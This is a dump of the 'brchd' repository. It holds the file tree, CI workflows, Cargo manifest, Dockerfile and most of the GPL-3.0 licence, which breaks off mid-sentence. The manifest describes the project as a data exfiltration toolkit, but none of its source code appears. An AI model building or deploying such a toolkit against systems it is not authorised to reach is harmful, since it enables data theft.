├── .dockerignore ├── .github ├── FUNDING.yml └── workflows │ ├── binaries.yml │ ├── docker.yml │ └── rust.yml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── Dockerfile ├── LICENSE ├── PKGBUILD ├── README.md ├── benches └── crypto.rs ├── brchd.1.scd ├── brchd.toml ├── ci └── tests.sh ├── release.toml └── src ├── args.rs ├── config ├── client.rs ├── crypto.rs ├── daemon.rs ├── file.rs ├── mod.rs └── upload.rs ├── crypto ├── header.rs ├── mod.rs ├── shim.rs ├── stream.rs └── upload.rs ├── daemon.rs ├── destination.rs ├── errors.rs ├── html.rs ├── httpd ├── destination.rs ├── mod.rs └── shim.rs ├── ipc ├── mod.rs ├── unix.rs └── windows.rs ├── lib.rs ├── main.rs ├── pathspec.rs ├── queue.rs ├── spider ├── mod.rs └── shim.rs ├── standalone.rs ├── status.rs ├── temp.rs ├── uploader.rs ├── walkdir.rs └── web.rs /.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | Dockerfile 3 | .dockerignore 4 | .git 5 | .gitignore 6 | *.sw[op] 7 | ci 8 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [kpcyrd] 2 | -------------------------------------------------------------------------------- /.github/workflows/binaries.yml: -------------------------------------------------------------------------------- 1 | name: Binaries 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ${{ matrix.build.os }} 13 | strategy: 14 | fail-fast: false 15 | matrix: 16 | build: 17 | - name: brchd-x86_64-static-linux 18 | os: ubuntu-latest 19 | path: target/x86_64-unknown-linux-musl/release/brchd 20 | run: cargo build --verbose --release --no-default-features --features=crypto,httpd,spider,rustls --target x86_64-unknown-linux-musl 21 | - name: brchd-x86_64-minimal-linux 22 | os: ubuntu-latest 23 | path: target/release/brchd 24 | run: cargo build --verbose --release --no-default-features --features=native-tls 25 | - name: brchd-x86_64-static-macos 26 | os: macos-latest 27 | path: target/release/brchd 28 | run: cargo build --verbose --release --no-default-features --features=crypto,httpd,spider,rustls 29 | - name: brchd-x86_64-static-windows.exe 30 | os: windows-latest 31 | path: target/release/brchd.exe 32 | run: cargo build --verbose --release --no-default-features --features=crypto,httpd,spider,rustls 33 | 34 | steps: 35 | - uses: actions/checkout@v2 36 | 37 | - name: Install dependencies 38 | if: matrix.build.os == 'ubuntu-latest' 39 | run: sudo apt-get install musl-tools 40 | 41 | - name: Install musl rustup target 42 | if: matrix.build.os == 'ubuntu-latest' 43 | run: rustup target add x86_64-unknown-linux-musl 44 | 45 | - name: Build 46 | run: ${{ matrix.build.run }} 47 | 48 | - name: Strip binary 49 | run: strip ${{ matrix.build.path }} 50 | 51 | - name: Archive executable 52 | uses: actions/upload-artifact@v1 53 | with: 54 | name: ${{ matrix.build.name }} 55 | path: ${{ matrix.build.path }} 56 | -------------------------------------------------------------------------------- /.github/workflows/docker.yml: -------------------------------------------------------------------------------- 1 | name: Docker 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - uses: actions/checkout@v2 16 | - name: Build the Docker image 17 | run: docker build -t brchd . 18 | - name: Test the Docker image 19 | run: docker run --rm brchd --help 20 | -------------------------------------------------------------------------------- /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ${{ matrix.os }} 13 | strategy: 14 | fail-fast: false 15 | matrix: 16 | os: [macos-latest, windows-latest, ubuntu-latest] 17 | 18 | steps: 19 | - uses: actions/checkout@v2 20 | 21 | - name: Install dependencies (apt) 22 | if: matrix.os == 'ubuntu-latest' 23 | run: sudo apt-get install libsodium-dev 24 | - name: Install dependencies (brew) 25 | if: matrix.os == 'macos-latest' 26 | run: brew install pkg-config libsodium 27 | 28 | - name: Build 29 | if: matrix.os != 'windows-latest' 30 | run: cargo build --verbose 31 | - name: Run tests 32 | if: matrix.os != 'windows-latest' 33 | run: cargo test --verbose 34 | 35 | # workaround to force static libsodium on windows 36 | - name: Build (windows) 37 | if: matrix.os == 'windows-latest' 38 | run: cargo build --verbose --no-default-features --features=crypto,httpd,spider,native-tls 39 | - name: Run tests (windows) 40 | if: matrix.os == 'windows-latest' 41 | run: cargo test --verbose --no-default-features --features=crypto,httpd,spider,native-tls 42 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /brchd.1 3 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "brchd" 3 | version = "0.1.0" 4 | description = "Data exfiltration toolkit" 5 | authors = ["kpcyrd "] 6 | license = "GPL-3.0" 7 | repository = "https://github.com/kpcyrd/brchd" 8 | categories = ["command-line-utilities"] 9 | readme = "README.md" 10 | edition = "2018" 11 | 12 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 13 | 14 | [features] 15 | default = ["crypto", "httpd", "spider", "dynamic-libsodium", "native-tls"] 16 | dynamic-libsodium = ["sodiumoxide/use-pkg-config"] 17 | native-tls = ["reqwest/native-tls"] 18 | rustls = ["reqwest/rustls-tls"] 19 | crypto = ["sodiumoxide", "nom", "base64", "base64-serde"] 20 | httpd = ["actix-rt", "actix-web", "actix-service", "actix-multipart", "futures"] 21 | spider = ["html5ever", "markup5ever_rcdom"] 22 | 23 | [dependencies] 24 | structopt = "0.3" 25 | toml = "0.5" 26 | serde = { version="1", features=["derive"] } 27 | serde_json = "1.0.48" 28 | log = "0.4.8" 29 | anyhow = "1.0.32" 30 | env_logger = "0.8" 31 | reqwest = { version="0.10.2", default-features=false, features=["blocking", "socks"] } 32 | chrono = "0.4.10" 33 | rand = "0.7.3" 34 | url = { version="2.1.1", features=["serde"] } 35 | walkdir = "2" 36 | bufstream = "0.1.4" 37 | crossbeam-channel = "0.5" 38 | console = "0.13" 39 | humansize = "1.1.0" 40 | dirs = "3" 41 | 42 | # crypto 43 | sodiumoxide = { version = "0.2.5", optional = true } 44 | nom = { version = "6", optional = true } 45 | base64 = { version = "0.13", optional = true } 46 | base64-serde = { version = "0.6.0", optional = true } 47 | 48 | # httpd 49 | actix-rt = { version = "1.0.0", optional = true } 50 | actix-web = { version = "3.0.0", optional = true } 51 | actix-service = { version = "1.0.5", optional = true } 52 | actix-multipart = { version = "0.3.0", optional = true } 53 | futures = { version = "0.3.4", optional = true } 54 | 55 | # spider 56 | html5ever = { version = "0.25", optional = true } 57 | markup5ever_rcdom = { version = "0.1.0", optional = true } 58 | 59 | [target.'cfg(target_os="windows")'.dependencies] 60 | named_pipe = "0.4.1" 61 | 62 | [dev-dependencies] 63 | criterion = "0.3" 64 | 65 | [[bench]] 66 | name = "crypto" 67 | harness = false 68 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:alpine3.11 2 | ENV RUSTFLAGS="-C target-feature=-crt-static" 3 | RUN apk add musl-dev libsodium-dev openssl-dev 4 | WORKDIR /usr/src/brchd 5 | COPY . . 6 | RUN cargo build --release --verbose 7 | RUN strip target/release/brchd 8 | 9 | FROM alpine:3.11 10 | RUN apk add libgcc libsodium openssl 11 | COPY --from=0 /usr/src/brchd/target/release/brchd /usr/local/bin/brchd 12 | ENTRYPOINT ["brchd"] 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY 